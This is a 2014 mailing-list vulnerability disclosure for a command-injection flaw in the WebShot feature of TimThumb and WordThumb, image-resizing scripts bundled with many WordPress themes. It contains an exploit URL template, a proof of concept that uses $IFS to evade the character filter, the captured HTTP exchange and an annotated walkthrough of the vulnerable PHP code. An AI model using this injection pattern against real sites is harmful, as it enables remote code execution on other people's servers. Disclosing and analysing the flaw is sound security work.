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Wordpress TimThumb 2.8.13 WebShot Remote Code Execution (0-day)
From: Pichaya Morimoto <pichaya () ieee org>
Date: Tue, 24 Jun 2014 15:24:04 +0700

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######################################################################
#  _     ___  _   _  ____  ____    _  _____
#  | |   / _ \| \ | |/ ___|/ ___|  / \|_   _|
#  | |  | | | |  \| | |  _| |     / _ \ | |
#  | |__| |_| | |\  | |_| | |___ / ___ \| |
#  |_____\___/|_| \_|\____|\____/_/   \_\_|
#
# Wordpress TimThumb 2.8.13 WebShot Remote Code Execution (0-day)
# Affected website : a lot Wordpress Themes, Plugins, 3rd party components
# Exploit Author : @u0x (Pichaya Morimoto)
# Release dates : June 24, 2014
#
# Special Thanks to 2600 Thailand group
# : Xelenonz, anidear, windows98se, icheernoom, w4x0r, pistachio
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################

[+] Description
============================================================
TimThumb is a small php script for cropping, zooming and resizing web
images (jpg, png, gif). Perfect for use on blogs and other applications.
Developed for use in the WordPress theme Mimbo Pro, and since used in many
other WordPress themes.

http://www.binarymoon.co.uk/projects/timthumb/
https://code.google.com/p/timthumb/

The original project  WordThumb 1.07 also vulnerable (
https://code.google.com/p/wordthumb/)
They both shared exactly the same WebShot code! And there are several
projects that shipped with "timthumb.php", such as,
Wordpress Gallery Plugin
https://wordpress.org/plugins/wordpress-gallery-plugin/
IGIT Posts Slider Widget
http://wordpress.org/plugins/igit-posts-slider-widget/

All themes from http://themify.me/ contains vulnerable "wordthumb" in
"<theme-name>/themify/img.php".

[+] Exploit
============================================================
http://
<wp-website>/wp-content/themes/<wp-theme>/path/to/timthumb.php?webshot=1&src=http://
<wp-website>$(<os-cmds>)

** Note that OS commands payload MUST be within following character sets:
[A-Za-z0-9\-\.\_\~:\/\?\#\[\]\ () \!\$\&\'\(\)\*\+\,\;\=]

** Spaces, Pipe, GT sign are not allowed.
** This WebShot feature is DISABLED by default.
** CutyCapt and XVFB must be installed in constants.

[+] Proof-of-Concept
============================================================
There are couple techniques that can be used to bypass limited charsets but
I will use a shell variable $IFS insteads of space in this scenario.

PoC Environment:
Ubuntu 14.04 LTS
PHP 5.5.9
Wordpress 3.9.1
Themify Parallax Theme 1.5.2
WordThumb 1.07

Crafted Exploit:
http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat)

GET /wp-content/themes/parallax/themify/img.php?webshot=1&src=
http://longcatlab.local/$(touch$IFS/tmp/longcat) HTTP/1.1
Host: longcatlab.local
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/35.0.1916.153 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: woocommerce_recently_viewed=9%7C12%7C16;
wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce;
wp-settings-time-1=1403504538; themify-builder-tabs=query-portfoliot;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_26775808be2a17b15cf43dfee3a681c9=moderator%7C1403747599%7C62244ce3918e23df1bd22450b3d78685

HTTP/1.1 400 Bad Request
Date: Tue, 24 Jun 2014 07:20:48 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 3059
Connection: close
Content-Type: text/html

…
<a href='http://www.php.net/function.getimagesize&apos;
target='_new'>getimagesize</a>
(  )</td><td
title='/var/www/longcatlab.local/public_html/wp-content/themes/parallax/themify/img.php'
bgcolor='#eeeeec'>../img.php<b>:</b>388</td></tr>
</table></font>
<h1>A WordThumb error has occured</h1>The following error(s) occured:<br
/><ul><li>The image being resized is not a valid gif, jpg or
png.</li></ul><br /><br />Query String : webshot=1&amp;src=
http://longcatlab.local/$(touch$IFS/tmp/longcat)<br />WordThumb version :
1.07</pre>

Even it response with error messages but injected OS command has already
been executed.

$ ls /tmp/longcat -lha
- -rw-r--r-- 1 www-data www-data 0 มิ.ย.  24 14:20 /tmp/longcat


[+] Vulnerability Analysis
============================================================
https://timthumb.googlecode.com/svn/trunk/timthumb.php

Filename: timthumb.php

if(! defined('WEBSHOT_ENABLED') ) define ('WEBSHOT_ENABLED', true);
if(! defined('WEBSHOT_CUTYCAPT') ) define ('WEBSHOT_CUTYCAPT',
'/usr/local/bin/CutyCapt');
if(! defined('WEBSHOT_XVFB') ) define ('WEBSHOT_XVFB', '/usr/bin/xvfb-run');
...
timthumb::start(); ← start script
...
public static function start(){
$tim = new timthumb(); ← create timthumb object, call __construct()
...
$tim->run();
...
public function __construct(){
...
$this->src = $this->param('src'); ← set "src" variable to HTTP GET "src"
parameter
…
if(preg_match('/^https?:\/\/[^\/]+/i', $this->src)){
...
$this->isURL = true; ← prefix http/s result in isURL = true
}
...

protected function param($property, $default = ''){
if (isset ($_GET[$property])) {
return $_GET[$property];
...

public function run(){
if($this->isURL){
...
if($this->param('webshot')){ ← HTTP GET "webshot" must submitted
if(WEBSHOT_ENABLED){ ← this pre-defined constant must be true
...
$this->serveWebshot(); ← call webshot feature
} else {
...

protected function serveWebshot(){
...
if(! is_file(WEBSHOT_CUTYCAPT)){ ← check existing of cutycapt
return $this->error("CutyCapt is not installed. $instr");
}
if(! is_file(WEBSHOT_XVFB)){ ← check existing of xvfb
return $this->Error("Xvfb is not installed. $instr");
}
...
$url = $this->src;
if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){ ← check valid
URL #LoL
return $this->error("Invalid URL supplied.");
}
$url =
preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\ () \!\$\&\'\(\)\*\+\,\;\=]+/',
'', $url);  ← check valid URL as specified in RFC 3986
http://www.ietf.org/rfc/rfc3986.txt
...
if(WEBSHOT_XVFB_RUNNING){
putenv('DISPLAY=:100.0');
$command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\"
--javascript=$jsOn --java=$javaOn --plugins=$pluginsOn
--js-can-open-windows=off --url=\"$url\" --out-format=$format
--out=$tempfile"; ← OS shell command injection
} else {
$command = "$xv --server-args=\"-screen 0,
{$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout
--user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn
--js-can-open-windows=off --url=\"$url\" --out-format=$format
--out=$tempfile"; ← OS shell command injection
}
...
$out = `$command`;  ← execute $command as shell command

"PHP supports one execution operator: backticks (``). Note that these are
not single-quotes! PHP will attempt to execute the contents of the
backticks as a shell command." -
http://www.php.net//manual/en/language.operators.execution.php

"$url" is failed to escape "$()" in "$command" which is result in arbitrary
code execution.
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